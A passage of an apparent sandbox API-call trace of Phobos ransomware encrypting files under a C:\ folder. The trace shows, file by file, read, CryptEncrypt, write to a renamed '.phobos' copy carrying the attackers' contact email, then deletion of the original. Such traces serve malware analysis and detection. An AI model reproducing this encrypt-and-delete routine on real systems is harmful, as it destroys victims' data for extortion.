phKey=0x2bdf898*=0x10cc30) returned 1 [0047.866] CryptSetKeyParam (hKey=0x10cc30, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0047.866] CryptEncrypt (in: hKey=0x10cc30, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x50, dwBufLen=0x50 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x50) returned 1 [0047.867] CryptDestroyKey (hKey=0x10cc30) returned 1 [0047.867] WriteFile (in: hFile=0x324, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0x102, lpOverlapped=0x0) returned 1 [0047.867] CryptDestroyKey (hKey=0x10cbb0) returned 1 [0047.867] CloseHandle (hObject=0x320) returned 1 [0047.867] CloseHandle (hObject=0x324) returned 1 [0047.868] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3082\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll")) returned 1 [0047.870] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2bdf940 | out: pbBuffer=0x2bdf940) returned 1 [0047.870] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\DisplayIcon.ico" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0047.870] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x2bdf8e0 | out: lpFileSize=0x2bdf8e0*=88533) returned 1 [0047.870] CloseHandle (hObject=0x324) returned 1 [0047.870] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\DisplayIcon.ico" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico")) returned 0x80 [0047.870] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\DisplayIcon.ico.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0047.870] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\DisplayIcon.ico" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0047.870] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0047.871] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0047.871] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\DisplayIcon.ico.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0047.871] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf838, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf894 | out: phKey=0x2bdf894*=0x10cc70) returned 1 [0047.871] CryptSetKeyParam (hKey=0x10cc70, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0047.871] ReadFile (in: hFile=0x324, lpBuffer=0x2f80020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf8bc, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesRead=0x2bdf8bc*=0x159d5, lpOverlapped=0x0) returned 1 [0047.888] CryptEncrypt (in: hKey=0x10cc70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x159e0, dwBufLen=0x159e0 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x159e0) returned 1 [0047.888] WriteFile (in: hFile=0x320, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0x159e0, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0x159e0, lpOverlapped=0x0) returned 1 [0047.890] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf82c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf898 | out: phKey=0x2bdf898*=0x10ce30) returned 1 [0047.890] CryptSetKeyParam (hKey=0x10ce30, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0047.890] CryptEncrypt (in: hKey=0x10ce30, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x40, dwBufLen=0x40 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x40) returned 1 [0047.890] CryptDestroyKey (hKey=0x10ce30) returned 1 [0047.890] WriteFile (in: hFile=0x320, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0xf2, lpOverlapped=0x0) returned 1 [0047.890] CryptDestroyKey (hKey=0x10cc70) returned 1 [0047.890] CloseHandle (hObject=0x324) returned 1 [0047.890] CloseHandle (hObject=0x320) returned 1 [0047.892] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\DisplayIcon.ico" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico")) returned 1 [0047.894] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2bdf940 | out: pbBuffer=0x2bdf940) returned 1 [0047.894] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Print.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0047.987] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x2bdf8e0 | out: lpFileSize=0x2bdf8e0*=1150) returned 1 [0047.987] CloseHandle (hObject=0x324) returned 1 [0047.988] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Print.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico")) returned 0x80 [0047.988] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Print.ico.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0047.988] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Print.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0047.988] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0047.988] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0047.988] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Print.ico.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0047.988] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf838, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf894 | out: phKey=0x2bdf894*=0x10ccb0) returned 1 [0047.989] CryptSetKeyParam (hKey=0x10ccb0, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0047.989] ReadFile (in: hFile=0x324, lpBuffer=0x2f80020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf8bc, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesRead=0x2bdf8bc*=0x47e, lpOverlapped=0x0) returned 1 [0047.990] CryptEncrypt (in: hKey=0x10ccb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x480, dwBufLen=0x480 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x480) returned 1 [0047.990] WriteFile (in: hFile=0x308, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0x480, lpOverlapped=0x0) returned 1 [0047.991] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf82c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf898 | out: phKey=0x2bdf898*=0x10cdf0) returned 1 [0047.991] CryptSetKeyParam (hKey=0x10cdf0, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0047.991] CryptEncrypt (in: hKey=0x10cdf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x40, dwBufLen=0x40 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x40) returned 1 [0047.991] CryptDestroyKey (hKey=0x10cdf0) returned 1 [0047.991] WriteFile (in: hFile=0x308, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0xf2, lpOverlapped=0x0) returned 1 [0047.991] CryptDestroyKey (hKey=0x10ccb0) returned 1 [0047.991] CloseHandle (hObject=0x324) returned 1 [0047.991] CloseHandle (hObject=0x308) returned 1 [0047.992] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Print.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico")) returned 1 [0047.993] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2bdf940 | out: pbBuffer=0x2bdf940) returned 1 [0047.993] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0047.993] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2bdf8e0 | out: lpFileSize=0x2bdf8e0*=894) returned 1 [0047.993] CloseHandle (hObject=0x308) returned 1 [0047.994] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico")) returned 0x80 [0047.994] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0047.994] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0047.994] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0047.994] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0047.994] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0047.994] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf838, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf894 | out: phKey=0x2bdf894*=0x10ceb0) returned 1 [0047.994] CryptSetKeyParam (hKey=0x10ceb0, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0047.994] ReadFile (in: hFile=0x308, lpBuffer=0x2f80020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf8bc, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesRead=0x2bdf8bc*=0x37e, lpOverlapped=0x0) returned 1 [0048.018] CryptEncrypt (in: hKey=0x10ceb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x380, dwBufLen=0x380 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x380) returned 1 [0048.018] WriteFile (in: hFile=0x324, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0x380, lpOverlapped=0x0) returned 1 [0048.019] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf82c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf898 | out: phKey=0x2bdf898*=0x10cb70) returned 1 [0048.019] CryptSetKeyParam (hKey=0x10cb70, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0048.019] CryptEncrypt (in: hKey=0x10cb70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x40, dwBufLen=0x40 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x40) returned 1 [0048.020] CryptDestroyKey (hKey=0x10cb70) returned 1 [0048.020] WriteFile (in: hFile=0x324, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0xf2, lpOverlapped=0x0) returned 1 [0048.020] CryptDestroyKey (hKey=0x10ceb0) returned 1 [0048.020] CloseHandle (hObject=0x308) returned 1 [0048.020] CloseHandle (hObject=0x324) returned 1 [0048.020] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico")) returned 1 [0048.021] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2bdf940 | out: pbBuffer=0x2bdf940) returned 1 [0048.021] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0048.022] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x2bdf8e0 | out: lpFileSize=0x2bdf8e0*=894) returned 1 [0048.022] CloseHandle (hObject=0x324) returned 1 [0048.022] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico")) returned 0x80 [0048.022] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0048.022] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0048.022] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0048.022] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0048.022] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0048.022] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf838, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf894 | out: phKey=0x2bdf894*=0x10d0f0) returned 1 [0048.022] CryptSetKeyParam (hKey=0x10d0f0, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0048.022] ReadFile (in: hFile=0x324, lpBuffer=0x2f80020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf8bc, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesRead=0x2bdf8bc*=0x37e, lpOverlapped=0x0) returned 1 [0048.045] CryptEncrypt (in: hKey=0x10d0f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x380, dwBufLen=0x380 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x380) returned 1 [0048.045] WriteFile (in: hFile=0x308, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0x380, lpOverlapped=0x0) returned 1 [0048.046] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf82c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf898 | out: phKey=0x2bdf898*=0x10cab0) returned 1 [0048.046] CryptSetKeyParam (hKey=0x10cab0, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0048.046] CryptEncrypt (in: hKey=0x10cab0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x40, dwBufLen=0x40 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x40) returned 1 [0048.046] CryptDestroyKey (hKey=0x10cab0) returned 1 [0048.046] WriteFile (in: hFile=0x308, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0xf2, lpOverlapped=0x0) returned 1 [0048.046] CryptDestroyKey (hKey=0x10d0f0) returned 1 [0048.046] CloseHandle (hObject=0x324) returned 1 [0048.046] CloseHandle (hObject=0x308) returned 1 [0048.047] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico")) returned 1 [0048.048] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2bdf940 | out: pbBuffer=0x2bdf940) returned 1 [0048.048] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0048.048] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2bdf8e0 | out: lpFileSize=0x2bdf8e0*=894) returned 1 [0048.049] CloseHandle (hObject=0x308) returned 1 [0048.049] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico")) returned 0x80 [0048.049] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0048.049] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0048.049] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0048.049] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0048.049] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0048.049] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf838, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf894 | out: phKey=0x2bdf894*=0x10cdf0) returned 1 [0048.049] CryptSetKeyParam (hKey=0x10cdf0, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0048.049] ReadFile (in: hFile=0x308, lpBuffer=0x2f80020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf8bc, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesRead=0x2bdf8bc*=0x37e, lpOverlapped=0x0) returned 1 [0048.062] CryptEncrypt (in: hKey=0x10cdf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x380, dwBufLen=0x380 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x380) returned 1 [0048.062] WriteFile (in: hFile=0x324, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0x380, lpOverlapped=0x0) returned 1 [0048.063] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf82c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf898 | out: phKey=0x2bdf898*=0x10cab0) returned 1 [0048.063] CryptSetKeyParam (hKey=0x10cab0, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0048.063] CryptEncrypt (in: hKey=0x10cab0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x40, dwBufLen=0x40 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x40) returned 1 [0048.063] CryptDestroyKey (hKey=0x10cab0) returned 1 [0048.063] WriteFile (in: hFile=0x324, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0xf2, lpOverlapped=0x0) returned 1 [0048.063] CryptDestroyKey (hKey=0x10cdf0) returned 1 [0048.063] CloseHandle (hObject=0x308) returned 1 [0048.063] CloseHandle (hObject=0x324) returned 1 [0048.064] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico")) returned 1 [0048.065] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2bdf940 | out: pbBuffer=0x2bdf940) returned 1 [0048.065] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0048.066] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x2bdf8e0 | out: lpFileSize=0x2bdf8e0*=894) returned 1 [0048.066] CloseHandle (hObject=0x324) returned 1 [0048.066] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico")) returned 0x80 [0048.066] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0048.066] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0048.066] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0048.066] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0048.067] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0048.067] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf838, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf894 | out: phKey=0x2bdf894*=0x10caf0) returned 1 [0048.067] CryptSetKeyParam (hKey=0x10caf0, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0048.067] ReadFile (in: hFile=0x324, lpBuffer=0x2f80020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf8bc, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesRead=0x2bdf8bc*=0x37e, lpOverlapped=0x0) returned 1 [0048.069] CryptEncrypt (in: hKey=0x10caf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x380, dwBufLen=0x380 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x380) returned 1 [0048.069] WriteFile (in: hFile=0x308, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, 